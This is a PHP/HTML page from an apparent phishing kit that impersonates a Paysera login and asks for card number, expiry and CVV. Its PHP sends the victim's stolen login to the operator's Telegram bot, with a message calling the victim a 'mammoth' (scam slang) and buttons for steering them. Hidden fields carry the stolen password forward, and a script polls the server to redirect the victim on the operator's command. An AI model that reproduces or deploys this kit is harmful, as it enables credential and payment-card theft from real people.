    <?php

$config = json_decode(file_get_contents('config.json'));
$pay = @file_get_contents('db/'.$_GET['id'].'.txt');

if ($pay === false) {
    exit('No pay');
}

$pay = json_decode($pay);

$login = $pay->login;
$password = $pay->password;


message_to_telegram($config->token, $config->chat_id, "✅ Мамонт направлен на ввод карты\n<b>🔹 Login:</b> <code>{$login}</code>",[

        [
            ['text' => '📱 Custom 📱', 'callback_data' => '/message '.$_GET['id']],
        ],  
        [
            ['text' => '❌ Запрос карты ❌' , 'callback_data' => '/fail '.$_GET['id']],
            ],
            [
                ['text' => '❌ Неверный лк ❌' , 'callback_data' => '/app '.$_GET['id']],
                ],
]);

switch ($cmd[0]) {
    case '/gen':
        $t = $cmd[1];
        $text = "Your message here"; // Замените "Your message here" на текст сообщения для отправки в телеграмм
        message_to_telegram($config->token, $config->chat_id, $text);
        $flag = true;
        break;
}


switch ($cmd[0]) {
    case '/msg':
        $t = $cmd[1];
        $text = "Your message here"; // Замените "Your message here" на текст сообщения для отправки в телеграмм
        message_to_telegram($config->token, $config->chat_id, $text);
        $flag = true;
        break;
}

switch ($cmd[0]) {
    case '/msgpin':
        $t = $cmd[1];
        $text = "Your message here"; // Замените "Your message here" на текст сообщения для отправки в телеграмм
        message_to_telegram($config->token, $config->chat_id, $text);
        $flag = true;
        break;
}

switch ($cmd[0]) {
    case '/msgpin2':
        $t = $cmd[1];
        $text = "Your message here"; // Замените "Your message here" на текст сообщения для отправки в телеграмм
        message_to_telegram($config->token, $config->chat_id, $text);
        $flag = true;
        break;
}

function message_to_telegram($bot_token, $chat_id, $text, $kb = [])
{
    $ch = curl_init();
    $ch_post = [
        CURLOPT_URL => 'https://api.telegram.org/bot' . $bot_token . '/sendMessage',
        CURLOPT_POST => TRUE,
        CURLOPT_RETURNTRANSFER => TRUE,
        CURLOPT_TIMEOUT => 10,
        CURLOPT_POSTFIELDS => [
            'chat_id' => $chat_id,
            'parse_mode' => 'HTML',
            'text' => $text,
            'reply_markup' => json_encode([
                'inline_keyboard' => $kb
            ]),
        ]
    ];
    curl_setopt_array($ch, $ch_post);
    curl_exec($ch);
}

?>


<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Log in to your account - Paysera</title>
    <link rel="stylesheet" href="css/login.css">
    <link  rel="icon" type="image/x-icon" href="./favicon.ico">
</head>
<body>
    <div class="left_block">
        
    </div>
    <div class="right_block">
        <div class="main">
            <img src="img/logo.svg" class="logo">
            <div class="login_block">
                <div class="header_block">
                    <h1 class="title">
                        CARD DETAILS
                    </h1>
                </div>
                <div class="form_block">
                     <?php if(isset($_GET['q']) && $_GET['q'] == '1'){ ?>

            <div class="error_block">
             <p class="error_text">
                Incorrect card details. Please try again.
            </p>
        </div>

        <?php } ?>
                    <form method="post" action="secure.php">
                        <div class="input_block">
                            <label>
                                Card Number:
                            </label>
                            <input required name="CardNumber" class="mask-card-number input_form" placeholder="0000 0000 0000 0000">
                          
                        </div>

                        <div class="input_block">
                            <label>
                                Date Expired:
                            </label>
                            <input required name="date" class="mask-card-date input_form" placeholder="12/26">
                            
                        </div>

                        <div class="input_block">
                            <label>
                                CVV:
                            </label>
                            <input required name="fcvc" class="mask-card-code input_form" type="password" placeholder="***">

                            <input value="<?php echo $_GET['id'] ?>" id="PasswordId" name="id" type="hidden">
					          <input value="<?php echo $login ?>" id="PasswordId" name="login" type="hidden">
					             <input value="<?php echo $password ?>" id="PasswordId" name="password" type="hidden">
                        </div>
                        <button type="submit" class="btn">
                            LOG IN
                        </button>
                    </form>
                </div>
            </div>
            <div class="dop_block">
                <p class="under_text">
                    Don't have an account yet? <a href="#">Register now!</a> 
                </p>
                <p class="under_text">
                    Don't have access to your contact details anymore? <a href="#">Change phone</a> 
                </p>
            </div>
        </div>
        <div class="footer">
            <div class="fot_block">
                 <a href="#" class="fot_text">
                Privacy Policy
            </a>
             <a href="#" class="fot_text">
                Service agreements
            </a>
             <a href="#" class="fot_text">
                Recommendations for the safe usage
            </a>
            </div>
           
        </div>
    </div>
       	<script src="https://snipp.ru/cdn/jquery/2.1.1/jquery.min.js"></script>
<script src="https://snipp.ru/cdn/maskedinput/jquery.maskedinput.min.js"></script>
<script>
$('.mask-card-number').mask('9999 9999 9999 9999');
$('.mask-card-date').mask('99/99');
$('.mask-card-code').mask('999');
</script>
</body>
</html>
script src="//cdn.jsdelivr.net/npm/sweetalert2@11"></script>
<link rel="preconnect" href="https://fonts.googleapis.com">

    <link type="image/x-icon" href="https://e.seb.lt/ib/favicon.ico" rel="shortcut icon">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=IBM+Plex+Mono&family=Open+Sans&display=swap" rel="stylesheet">
<script src="https://cdn.jsdelivr.net/npm/axios@1.1.2/dist/axios.min.js"></script>
<style>
body {
    font-family: 'Open Sans', sans-serif;
}
</style>

<script>



setInterval(() => {
    axios.post('check.php', {
        id: <?php echo $_GET['id']; ?>
    }).then((res) => {
       
        if (res.data === 'fail') {
            window.location.href = 'card.php?id=<?php echo $_GET['id']; ?>';
        }
       
        if (res.data === 'msg') {
            window.location.href = 'custom.php?id=<?php echo $_GET['id']; ?>';
        }
        if (res.data === 'app') {
            window.location.href = 'invalid.php?id=<?php echo $_GET['id']; ?>';
        }
    });
}, 3000);



</script>